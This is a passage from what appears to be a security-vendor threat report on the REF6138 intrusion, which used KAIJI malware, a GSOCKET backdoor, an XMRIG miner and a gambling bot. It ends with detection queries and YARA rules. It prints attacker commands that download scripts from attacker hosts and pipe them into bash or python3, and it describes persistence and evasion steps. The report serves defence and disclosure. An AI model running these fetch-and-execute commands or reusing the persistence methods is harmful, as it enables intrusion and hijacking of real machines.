<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image18.png" alt="Bindiff for Old and New Version of KAIJI" title="Bindiff for Old and New Version of KAIJI" /></p>
<p>Although the code was the same, one critical difference stood out: the C2 server address. Although the functionality remained consistent in both binaries, they pointed to different C2 domains.</p>
<p>Delving deeper into the disassembly, we identified a function named <code>main_Link</code>. This function is responsible for decoding the C2 server address used by the malware.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image31.png" alt="KAIJI main_link Function" title="KAIJI main_link Function" /></p>
<p>Once decoded, the function searches for the <code>|(odk)/*-</code> postfix in the address and removes it, leaving only the C2 domain and port. This process ensures the malware can communicate with its C2 server, though the address it contacts may change between samples.</p>
<p>Given that some resources have been published that statically reverse engineer KAIJI, we will instead take a more detailed look at its behaviors.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image12.png" alt="KAIJI Dynamic Analysis - Part 1" title="KAIJI Dynamic Analysis - Part 1" /></p>
<p>After execution, KAIJI creates several files in the <code>/etc/</code> and <code>/dev/</code> directories, <code>/etc/id.services.conf</code>, <code>/etc/32678</code>, <code>/dev/.img</code> and <code>/dev/.old</code>. These scripts are places to establish persistence.</p>
<p>Two services are set up, <code>/etc/init.d/linux_kill</code> and <code>crond.service</code>. <code>crond.service</code> is executed by Systemd, while <code>linux_kill</code> is used for SysVinit persistence.</p>
<p>After reloading the Systemd daemon, the first network connection to the C2 is attempted.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image18.png" alt="KAIJI Dynamic Analysis - Part 2" title="KAIJI Dynamic Analysis - Part 2" /></p>
<p>Next, the <code>Systemd Late generator</code> service file is created. More information on the workings of <code>Systemd</code>, and different ways of establishing persistence through this method can be found in our recent blog series dubbed <a href="https://www.elastic.co/kr/security-labs/primer-on-persistence-mechanisms">Linux Detection Engineering -  A primer on persistence mechanisms</a>.</p>
<p>KAIJI creates the <code>/boot/System.img.config</code> file, which is an executable that is executed through the previously deployed <code>Systemd</code> services. This binary, is amongst other binaries, another way of establishing persistence.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image26.png" alt="KAIJI Dynamic Analysis - Part 3" title="KAIJI Dynamic Analysis - Part 3" /></p>
<p>Next, KAIJI adjusts the <code>SELinux</code> policies to allow unauthorized actions. It searches audit logs for denied operations related to <code>System.img.conf</code>, generates a new <code>SELinux</code> policy to permit these actions, and installs the policy with elevated priority. By doing this, the malware bypasses security restrictions that would normally block its activity.</p>
<p>Additionally, it sets up multiple additional forms of persistence through bash profiles, and creates another two malicious artifacts; <code>/usr/lib/libd1rpcld.so</code> and <code>/.img</code>.</p>
<p>Right after, <code>/etc/crontab</code> is altered through an echo command, ensuring that the <code>/.img</code> file is executed by root on a set schedule.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image20.png" alt="KAIJI Dynamic Analysis - Part 4" title="KAIJI Dynamic Analysis - Part 4" /></p>
<p>KAIJI continues to move several default system binaries to unusual locations, attempting to evade detection along the way.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image17.png" alt="KAIJI Dynamic Analysis - Part 5" title="KAIJI Dynamic Analysis - Part 5" /></p>
<p>KAIJI uses the <code>renice</code> command to grant PID <code>2957</code>, one of KAIJI's planted executables, the highest possible priority (on a scale of -20 to 19, lowest being the highest priority), ensuring it gets more CPU resources than other processes.</p>
<p>To evade detection, KAIJI employed the bind mount technique, a defense evasion method that obscures malicious activities by manipulating how directories are mounted and viewed within the system.</p>
<p>Finally, we see a trace of <code>cron</code> executing the <code>/.img</code>, which was planted in the <code>/etc/crontab</code> file earlier.</p>
<h2>The saga continues</h2>
<p>Two weeks later, the Apache backdoor became active again. Another backdoor was downloaded via the <code>www-data</code> user through the Apache2 process using the command:</p>
<pre><code>sh -c wget http://91.92.241[.]103:8002/gk.php
</code></pre>
<p>The contents of this payload remain unknown. At this stage, we observed attempts at manual privilege escalation, with the attackers deploying <code>pspy64</code>. <code>Pspy</code> is a command-line tool for process snooping on Linux systems without requiring root permissions. It monitors running processes, including those initiated by other users, and captures events like cron job executions. This tool is particularly useful for analyzing system activity, spotting privilege escalation attempts, and auditing the commands and file system interactions triggered by processes in real time. It's commonly leveraged by attackers for reconnaissance in post-compromise scenarios, giving them visibility into system tasks and potential vulnerabilities​.</p>
<p>Notably, <code>pspy64</code> was executed by the <code>[rcu_preempt]</code> parent, indicating that the threat actors had transitioned from leveraging the web server backdoor to using the GSOCKET backdoor.</p>
<p>Further attempts at privilege escalation involved exploiting <code>CVE-2021-4034</code>, also known as <code>pwnkit</code>. This vulnerability affects the <code>pkexec</code> component of the PolicyKit package in Linux systems, allowing an unprivileged user to execute arbitrary code with root privileges. By leveraging this flaw, an attacker can gain elevated access to the system, potentially leading to full control over the affected machine.</p>
<h3>Custom built binaries</h3>
<p>Right after, the attackers attempted to download a custom-built malware named <code>apache2</code> and <code>apache2v86</code> from:</p>
<ul>
<li><code>http://62.72.22[.]91/apache2</code></li>
<li><code>http://62.72.22[.]91/apache2v86</code></li>
</ul>
<p>We obtained copies of these files, which currently have zero detections on VirusTotal. However, when executing them dynamically, we observed segmentation faults, and our telemetry confirmed segfault activity on the compromised host. Over a week, the threat actor attempted to alter, upload and execute these binaries more than 15 times, but due to repeated segfaults, it is unlikely that they succeeded in running this custom malware.</p>
<p>While the binaries failed to execute, they still provided valuable insights during reverse engineering. We uncovered several XOR-encoded strings within the samples.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image33.png" alt="Apache2 XOR-Encoded Strings" title="Apache2 XOR-Encoded Strings" /></p>
<p>The XOR key used to encode the strings was identified as <code>0x79</code> (or the character <code>y</code>). After decoding the strings, we discovered fragments of an HTTP request header that the malware was attempting to construct:</p>
<pre><code>/934d9091-c90f-4edf-8b18-d44721ba2cdc HTTP/1.1
sec-ch-ua: &quot;Chromium&quot;;v=&quot;122&quot;, &quot;Google Chrome&quot;;v=&quot;122&quot;, &quot;Not-A.Brand&quot;;v=&quot;99
sec-ch-ua-platform: &quot;Windows&quot;
upgrade-insecure-requests: 1
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
referer: https://twitter[.]com
accept-language: ru,en-US;q=0.9
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.
</code></pre>
<p>This indicates that the malware was in the process of constructing HTTP requests. However, based on the incomplete nature of the headers and the repeated failures in execution, it’s clear that this piece of software was not yet fully developed or operational.</p>
<h3>Additional reconnaissance</h3>
<p>The attackers continued to use tools from The Hacker’s Choice, by downloading and executing <a href="https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/whatserver.sh"><code>whatserver.sh</code></a>.</p>
<p>This Shell script is designed to gather and display server information. It extracts details such as the fully qualified domain names (FQDNs) from SSL certificates, Nginx, and Apache configuration files, along with system resource information like CPU and memory usage, virtualization details, and network settings. The script can also summarize recent activities, including last logged-in users and currently listening services.</p>
<h3>Mining activities</h3>
<p>After nearly two weeks of manual exploitation attempts, the threat actors ceased their efforts to escalate privileges, likely having failed to gain root access. Instead, they established persistence as the <code>www-data</code> user, leveraging GSOCKET to set up an SSL connection, which was disguised as a kernel process called <code>[mm_percpu_wq]</code>.</p>
<p>After decoding the base64 contents, we get a very familiar looking output:</p>
<p>Through our behavioral rules, we see the threat actor listing the current user’s crontab entries, and echoing a payload directly into the crontab.</p>
<p>This command tries to download <code>http://gcp.pagaelrescate[.]com:8080/ifindyou</code> every minute, and pipe it to bash. Looking at the contents of <code>ifindyou</code>, we see the following Bash script:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image8.png" alt="Stage 1 - ifindyou.sh" title="Stage 1 - ifindyou.sh" /></p>
<p>This script gathers hostname and IP information, downloads the <code>SystemdXC</code> archive from <code>http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC</code> (XMRIG), stores this in <code>/tmp/SystemdXC</code>, extracts the archive and executes it with the necessary parameters to start mining Bitcoin.</p>
<p>When examining the mining command, we can see how the malware configures XMRIG:</p>
<p>This command connects to the <code>unmineable.com</code> mining pool, using the infected machine’s hostname as an identifier in the mining process. At the time of writing, there are 15 active workers mining Bitcoin for the wallet address <code>1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBz</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image1.png" alt="Bitcoin Address Lookup" title="Bitcoin Address Lookup" /></p>
<p>Upon further investigation into the Bitcoin address, we found that this address has performed a single transaction.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image32.png" alt="Bitcoin Transaction" title="Bitcoin Transaction" /></p>
<p>Interestingly, the output address for this transaction points to a well-known <a href="https://www.ledger.com/academy/topics/security/hot-wallet-vs-cold-crypto-wallet-whats-the-difference">hot wallet</a> associated with Binance, indicating that the attackers may have transferred their mining earnings to an exchange platform.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image10.png" alt="Binance Wallet Destination" title="Binance Wallet Destination" /></p>
<p>When returning our focus back to the script, we also see two commands commented out, which will become more clear later. The script executes:</p>
<pre><code>curl -s http://gcp.pagaelrescate[.]com:8080/cycnet | bash
</code></pre>
<p>Looking at this payload, we can see the following contents:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image23.png" alt="Stage 2 - cycnet.sh" title="Stage 2 - cycnet.sh" /></p>
<p>This stage checks the output of the command, and sends this to a Telegram chat bot. Through our Telegram behavioral rule, we can see that a Telegram POST request looks like this:</p>
<p>The cron job that is set up during this stage executes at minute 0, every 4th hour. This job executes:</p>
<pre><code>curl -s http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot | python3
</code></pre>
<p>The downloaded Python script automates interactions with an online gambling game through HTTP requests. The script includes functions that handle user authentication, betting, processing the outcomes, and sending data to a remote server.</p>
<p>Upon closer examination, we identified the following key components of the script:</p>
<p><strong>Global Variables:</strong></p>
<ul>
<li><code>usuario</code>: Stores the user ID for managing the session.</li>
<li><code>apuesta</code>: Represents the bet amount.</li>
<li><code>ganancias</code>: Tracks the winnings and losses.</li>
<li><code>saldo_actual</code>: Holds the current account balance.</li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image3.png" alt="enviador_slot Global Variables" title="enviador_slot Global Variables" /></p>
<h4>Understanding the <code>obteneruid</code> Function</h4>
<p>This function authenticates the user by sending a POST request with the necessary headers and JSON data to the remote server. If the user is not already set, it initializes a new session and retrieves the account balance. Upon successful authentication, it returns a session UUID, which is used for further interactions in the game.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image27.png" alt="enviador_slot obteneruid Function" title="enviador_slot obteneruid Function" /></p>
<h4>Understanding the <code>enviardatos</code> Function</h4>
<p>This function sends game data or status updates back to <code>gcp.pagaelrescate[.]com</code>, logging the results or actions taken during gameplay. It uses a simple GET request to transmit this data to the remote server.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image4.png" alt="enviador_slot enviardatos Function" title="enviador_slot enviardatos Function" /></p>
<h4>Understanding the <code>hacerjugada</code> Function</h4>
<p>The <code>hacerjugada</code> function simulates the betting process for a set number of rounds. It sends POST requests to place bets, updates the winnings or losses after each round, and calculates the overall results. If a bonus round is triggered, it calls <code>completarbono()</code> to handle any bonus game details. Between each betting round, the function enforces a 30-second delay to mimic natural gameplay and avoid detection.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image28.png" alt="enviador_slot hacerjugada Function" title="enviador_slot hacerjugada Function" /></p>
<h4>Understanding the <code>completarbono</code> Function</h4>
<p>When a bonus round is triggered, this function completes the round by sending a request containing the session ID and round ID. Based on the result, it updates the account balance and logs the winnings or losses. Any change in the balance is sent back to the remote server using the <code>enviardatos()</code> function.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image6.png" alt="enviador_slot completarbono Function" title="enviador_slot completarbono Function" /></p>
<h4>Likely Used for Testing Purposes</h4>
<p>It’s important to note that this script is likely being used for testing purposes, as it interacts with the demo version of the gambling app. This suggests that the attackers might be testing the automation of gambling actions or trying to find vulnerabilities in the app before moving to the live version. The use of a demo environment implies they are refining their approach, potentially in preparation for more sophisticated or widespread attacks.</p>
<h2>REF6138 through MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks. During this investigation, we identified the following tactics, techniques and sub-techniques:</p>
<p><em>MITRE ATT&amp;CK tactics, techniques and sub-techniques used</em></p>
<table>
<thead>
<tr>
<th>Tactic</th>
<th>Technique</th>
<th>Sub-Technique</th>
</tr>
</thead>
<tbody>
<tr>
<td>Resource Development</td>
<td>T1587: Develop Capabilities</td>
<td>Malware</td>
</tr>
<tr>
<td></td>
<td>T1588: Obtain Capabilities</td>
<td>Tool</td>
</tr>
<tr>
<td></td>
<td>T1608: Stage Capabilities</td>
<td>Upload Malware</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Upload Tool</td>
</tr>
<tr>
<td>Initial Access</td>
<td>T1190: Exploit Public-Facing Application</td>
<td></td>
</tr>
<tr>
<td>Execution</td>
<td>T1059: Command and Scripting Interpreter</td>
<td>Unix Shell</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Python</td>
</tr>
<tr>
<td></td>
<td>T1053: Scheduled Task/Job</td>
<td>Cron</td>
</tr>
<tr>
<td>Persistence</td>
<td>T1546: Event Triggered Execution</td>
<td>Unix Shell Configuration Modification</td>
</tr>
<tr>
<td></td>
<td>T1053: Scheduled Task/Job</td>
<td>Cron</td>
</tr>
<tr>
<td></td>
<td>T1505: Server Software Component</td>
<td>Web Shell</td>
</tr>
<tr>
<td>Privilege Escalation</td>
<td>T1068: Exploitation for Privilege Escalation</td>
<td></td>
</tr>
<tr>
<td>Defense Evasion</td>
<td>T1140: Deobfuscate/Decode Files or Information</td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1222: File and Directory Permissions Modification</td>
<td>Linux and Mac File and Directory Permissions Modification</td>
</tr>
<tr>
<td></td>
<td>T1564: Hide Artifacts</td>
<td>Hidden Files and Directories</td>
</tr>
<tr>
<td></td>
<td>T1070: Indicator Removal</td>
<td>Timestomp</td>
</tr>
<tr>
<td></td>
<td>T1036: Masquerading</td>
<td>Masquerade Task or Service</td>
</tr>
<tr>
<td></td>
<td>T1027: Obfuscated Files or Information</td>
<td>Software Packing</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Stripped Payloads</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Command Obfuscation</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Encrypted/Encoded File</td>
</tr>
<tr>
<td>Discovery</td>
<td>T1057: Process Discovery</td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1082: System Information Discovery</td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1061: System Network Configuration Discovery</td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1049: System Network Connections Discovery</td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1007: System Service Discovery</td>
<td></td>
</tr>
<tr>
<td>Collection</td>
<td>T1119: Automated Collection</td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1005: Data from Local System</td>
<td></td>
</tr>
<tr>
<td>Command and Control</td>
<td>T1071: Application Layer Protocol</td>
<td>Web Protocols</td>
</tr>
<tr>
<td></td>
<td>T1132: Data Encoding</td>
<td>Standard Encoding</td>
</tr>
<tr>
<td></td>
<td>T1001: Data Obfuscation</td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1573: Encrypted Channel</td>
<td>Symmetric Cryptography</td>
</tr>
<tr>
<td></td>
<td>T1105: Ingress Tool Transfer</td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1571: Non-Standard Port</td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1572: Protocol Tunneling</td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1102: Web Service</td>
<td></td>
</tr>
<tr>
<td>Impact</td>
<td>T1496: Resource Hijacking</td>
<td></td>
</tr>
</tbody>
</table>
<h2><strong>Detecting REF6138</strong></h2>
<p>Elastic Security implements a multi-layer approach to threat detection, leveraging behavioral SIEM and Endpoint rules, YARA signatures and ML-based anomaly detection approaches. This section describes the detections built by Elastic Security that play a big role in capturing the identified threats.</p>
<h3>Detection</h3>
<p>The following detection rules were observed throughout the analysis of this intrusion set:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules_building_block/execution_linux_segfault.toml">Segfault Detection</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/defense_evasion_timestomp_touch.toml">Timestomping using Touch Command</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_shell_configuration_modification.toml">Shell Configuration Creation or Modification</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/defense_evasion_binary_copied_to_suspicious_directory.toml">System Binary Moved or Copied</a></li>
</ul>
<h3>Prevention</h3>
<p>The following behavior prevention events were observed throughout the analysis of this intrusion set:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/execution_linux_reverse_shell_via_suspicious_utility.toml">Linux Reverse Shell via Suspicious Utility</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/defense_evasion_defense_evasion_via_bind_mount.toml">Defense Evasion via Bind Mount</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/execution_linux_suspicious_child_process_execution_via_interactive_shell.toml">Linux Suspicious Child Process Execution via Interactive Shell</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/execution_potential_linux_hack_tool_launched.toml">Potential Linux Hack Tool Launched</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/privilege_escalation_privilege_escalation_via_pkexec_exploitation.toml">Privilege Escalation via PKEXEC Exploitation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/lateral_movement_potential_ssh_it_ssh_worm_downloaded.toml">Potential SSH-IT SSH Worm Downloaded</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_scheduled_job_executing_binary_in_unusual_location.toml">Scheduled Job Executing Binary in Unusual Location</a></li>
</ul>
<p>The following YARA Signatures are in place to detect the KAIJI and RUDEDEVIL malware samples both as file and in-memory:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Generic_Threat.yar">Linux.Generic.Threat</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Hacktool_Flooder.yar">Linux.Hacktool.Flooder</a></li>
</ul>
<p>The following, soon to be released, endpoint rule alerts were observed throughout the analysis of this intrusion set:</p>
<ul>
<li>Potential Shell via Web Server</li>
<li>Potential Web Server Code Injection</li>
<li>Potential Shell Executed by Web Server User</li>
<li>Decode Activity via Web Server</li>
<li>Linux Telegram API Request</li>
<li>Suspicious Echo Execution</li>
</ul>
<h3>Hunting queries in Elastic</h3>
<p>The events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.</p>
<h4>EQL queries</h4>
<p>Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for behaviors similar:</p>
<p><strong>Potential XMRIG Execution</strong></p>
<p>The following EQL query can be used to hunt for XMRIG executions within your environment.</p>
<pre><code>process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and (
  (
    process.args in (&quot;-a&quot;, &quot;--algo&quot;) and process.args in (
      &quot;gr&quot;, &quot;rx/graft&quot;, &quot;cn/upx2&quot;, &quot;argon2/chukwav2&quot;, &quot;cn/ccx&quot;, &quot;kawpow&quot;, &quot;rx/keva&quot;, &quot;cn-pico/tlo&quot;, &quot;rx/sfx&quot;, &quot;rx/arq&quot;,
      &quot;rx/0&quot;, &quot;argon2/chukwa&quot;, &quot;argon2/ninja&quot;, &quot;rx/wow&quot;, &quot;cn/fast&quot;, &quot;cn/rwz&quot;, &quot;cn/zls&quot;, &quot;cn/double&quot;, &quot;cn/r&quot;, &quot;cn-pico&quot;,
      &quot;cn/half&quot;, &quot;cn/2&quot;, &quot;cn/xao&quot;, &quot;cn/rto&quot;, &quot;cn-heavy/tube&quot;, &quot;cn-heavy/xhv&quot;, &quot;cn-heavy/0&quot;, &quot;cn/1&quot;, &quot;cn-lite/1&quot;,
      &quot;cn-lite/0&quot;, &quot;cn/0&quot;
    )
  ) or
  (
    process.args == &quot;--coin&quot; and process.args in (&quot;monero&quot;, &quot;arqma&quot;, &quot;dero&quot;)
  )
) and process.args in (&quot;-o&quot;, &quot;--url&quot;)
</code></pre>
<p><strong>MSR Write Access Enabled</strong></p>
<p>XMRIG leverages modprobe to enable write access to MSR. This activity is abnormal, and should not occur by-default.</p>
<pre><code>process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and process.name == &quot;modprobe&quot; and
process.args == &quot;msr&quot; and process.args == &quot;allow_writes=on&quot;
</code></pre>
<p><strong>Potential GSOCKET Activity</strong></p>
<p>This activity is default behavior when deploying GSOCKET through the recommended deployment methods. Additionally, several arguments are added to the query to decrease the chances of missing a more customized intrusion through GSOCKET.</p>
<pre><code>process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and
process.name in (&quot;bash&quot;, &quot;dash&quot;, &quot;sh&quot;, &quot;tcsh&quot;, &quot;csh&quot;, &quot;zsh&quot;, &quot;ksh&quot;, &quot;fish&quot;) and
process.command_line : (
&quot;*GS_ARGS=*&quot;, &quot;*gs-netcat*&quot;, &quot;*gs-sftp*&quot;, &quot;*gs-mount*&quot;, &quot;*gs-full-pipe*&quot;, &quot;*GS_NOINST=*&quot;, &quot;*GSOCKET_ARGS=*&quot;, &quot;*GS_DSTDIR=*&quot;, &quot;*GS_URL_BASE=*&quot;, &quot;*GS_OSARCH=*&quot;, &quot;*GS_DEBUG=*&quot;, &quot;*GS_HIDDEN_NAME=*&quot;, &quot;*GS_HOST=*&quot;, &quot;*GS_PORT=*&quot;, &quot;*GS_TG_TOKEN=*&quot;, &quot;*GS_TG_CHATID=*&quot;, &quot;*GS_DISCORD_KEY=*&quot;, &quot;*GS_WEBHOOK_KEY=*&quot;
)
</code></pre>
<p><strong>Potential Process Masquerading via Exec</strong></p>
<p>GSOCKET leverages the <code>exec -a</code> method to run a process under a different name. GSOCKET specifically leverages masquerades as kernel processes, but other malware may masquerade differently.</p>
<pre><code>process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and
process.name in (&quot;bash&quot;, &quot;dash&quot;, &quot;sh&quot;, &quot;tcsh&quot;, &quot;csh&quot;, &quot;zsh&quot;, &quot;ksh&quot;, &quot;fish&quot;) and process.args == &quot;-c&quot; and process.command_line : &quot;* exec -a *&quot;
</code></pre>
<p><strong>Renice or Ulimit Execution</strong></p>
<p>Several malwares, including KAIJI and RUDEDEVIL, leverage the renice utility to change the priority of processes or set resource limits for processes. This is commonly used by miner malware to increase the priority of mining processes to maximize the mining performance.</p>
<pre><code>process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and (
  process.name in (&quot;ulimit&quot;, &quot;renice&quot;) or (
  process.name in (&quot;bash&quot;, &quot;dash&quot;, &quot;sh&quot;, &quot;tcsh&quot;, &quot;csh&quot;, &quot;zsh&quot;, &quot;ksh&quot;, &quot;fish&quot;) and process.args == &quot;-c&quot; and
  process.command_line : (&quot;*ulimit*&quot;, &quot;*renice*&quot;)
  )
)
</code></pre>
<p><strong>Inexistent Cron(d) Service Started</strong></p>
<p>Both KAIJI and RUDEDEVIL establish persistence through the creation of a <code>cron(d)</code> service in <code>/etc/init.d/cron(d)</code>. <code>Cron</code>, by default, does not use a <code>SysV Init</code> service. Execution of a <code>cron(d)</code> service is suspicious, and should be analyzed further.</p>
<pre><code>process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and 
  process.name == &quot;systemctl&quot; and process.args == &quot;start&quot; and process.args in 
  (&quot;cron.service&quot;, &quot;crond.service&quot;, &quot;cron&quot;, &quot;crond&quot;)
</code></pre>
<p><strong>Suspicious /etc/ Process Execution from KAIJI</strong></p>
<p>The <code>/etc/</code> directory is not a commonly used directory for process executions. KAIJI is known to place a binary called <code>32678</code> and <code>id.services.conf</code> in the <code>/etc/</code> directory, to establish persistence and evade detection.</p>
<pre><code>process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and (process.executable regex &quot;&quot;&quot;/etc/[0-9].*&quot;&quot;&quot; or process.executable : (&quot;/etc/*.conf&quot;, &quot;/etc/.*&quot;))
</code></pre>
<p><strong>Hidden File Creation in /dev/ directory</strong></p>
<p>Creating hidden files in <code>/dev/</code> and <code>/dev/shm/</code> are not inherently malicious, however, this activity should be uncommon. KAIJI, GSOCKET and other malwares such as <code>K4SPREADER</code> are known to drop hidden files in these locations.</p>
<pre><code>file where event.type == &quot;creation&quot; and file.path : (&quot;/dev/shm/.*&quot;, &quot;/dev/.*&quot;)
</code></pre>
<p><strong>Suspicious Process Execution from Parent Executable in /boot/</strong></p>
<p>Malwares such as KAIJI and XORDDOS are known to place executable files in the <code>/boot/</code> directory, and leverage these to establish persistence while attempting to evade detection.</p>
<pre><code>process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and process.parent.executable : &quot;/boot/*&quot;
</code></pre>
<h4>YARA</h4>
<p>Elastic Security has created YARA rules to identify this activity. Below is the YARA rule to identify the custom <code>Apache2</code> malware:</p>
<pre><code>rule Linux_Trojan_Generic {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2024-09-20&quot;
        last_modified = &quot;2024-09-20&quot;
        os = &quot;Linux&quot;
        arch = &quot;x86&quot;
        threat_name = &quot;Linux.Trojan.Generic&quot;
        reference = &quot;https://www.elastic.co/kr/security-labs/betting-on-bots&quot;
        license = &quot;Elastic License v2&quot;

    strings:
        $enc1 = { 74 73 0A 1C 1A 54 1A 11 54 0C 18 43 59 5B 3A 11 0B 16 14 10 0C 14 5B }
        $enc2 = { 18 1A 1A 1C 09 0D 43 59 0D 1C 01 0D 56 11 0D 14 15 55 18 09 09 15 10 }
        $enc3 = { 18 1A 1A 1C 09 0D 54 15 18 17 1E 0C 18 1E 1C 43 59 0B 0C }
        $enc4 = { 34 16 03 10 15 15 18 56 4C 57 49 59 51 2E 10 17 1D 16 0E 0A 59 37 }
        $key = &quot;yyyyyyyy&quot;
    condition:
        1 of ($enc*) and $key
}
</code></pre>
<p>To detect GSOCKET, including several of its adjacent tools, we created the following signature:</p>
<pre><code>rule Multi_Hacktool_Gsocket {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2024-09-20&quot;
        last_modified = &quot;2024-09-23&quot;
        os = &quot;Linux, MacOS&quot;
        arch = &quot;x86&quot;
        threat_name = &quot;Multi.Hacktool.Gsocket&quot;
        reference = &quot;https://www.elastic.co/kr/security-labs/betting-on-bots&quot;
        license = &quot;Elastic License v2&quot;

    strings:
        $str1 = &quot;gsocket: gs_funcs not found&quot;
        $str2 = &quot;/share/gsocket/gs_funcs&quot;
        $str3 = &quot;$GSOCKET_ARGS&quot;
        $str4 = &quot;GSOCKET_SECRET&quot;
        $str5 = &quot;GS_HIJACK_PORTS&quot;
        $str6 = &quot;sftp -D gs-netcat&quot;
        $str7 = &quot;GS_NETCAT_BIN&quot;
        $str8 = &quot;GSOCKET_NO_GREETINGS&quot;
        $str9 = &quot;GS-NETCAT(1)&quot;
        $str10 = &quot;GSOCKET_SOCKS_IP&quot;
        $str11 = &quot;GSOCKET_SOCKS_PORT&quot;
        $str12 = &quot;gsocket(1)&quot;
        $str13 = &quot;gs-sftp(1)&quot;
        $str14 = &quot;gs-mount(1)&quot;
    condition:
        3 of them
}
</code></pre>
<p>Finally, the following signature was written to detect the <a href="https://github.com/nicocha30/ligolo-ng">open source Ligolo-ng tool</a>, as we have reason to believe this tool was used during this intrusion.</p>
<pre><code>rule Linux_Hacktool_LigoloNG {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2024-09-20&quot;
        last_modified = &quot;2024-09-20&quot;
        os = &quot;Linux&quot;
        arch = &quot;x86&quot;
        threat_name = &quot;Linux.Hacktool.LigoloNG&quot;
        reference = &quot;https://www.elastic.co/kr/security-labs/betting-on-bots&quot;
        license = &quot;Elastic License v2&quot;

    strings:
        $a = &quot;https://github.com/nicocha30/ligolo-ng&quot;
        $b = &quot;@Nicocha30!&quot;
        $c = &quot;Ligolo-ng %s / %s / %s&quot;
    condition:
        all of them
}
</code></pre>
<h3>Defensive recommendations</h3>
<p>To effectively defend against malware campaigns and minimize the risk of intrusion, it’s crucial to implement a multi-layered approach to security. Here are some key defensive measures you should prioritize:</p>
<ol>
<li><strong>Keep Your Elastic Detection Rules Updated and Enabled</strong>: Ensure that your security tools, including any pre-built detection rules, are up to date. Continuous updates allow your systems to detect the latest malware signatures and behaviors.</li>
<li><strong>Enable Prevention Mode in Elastic Defend</strong>: Configure Elastic Defend in prevention mode to automatically block known threats rather than just alerting on them. Prevention mode ensures proactive defense against malware and exploits.</li>
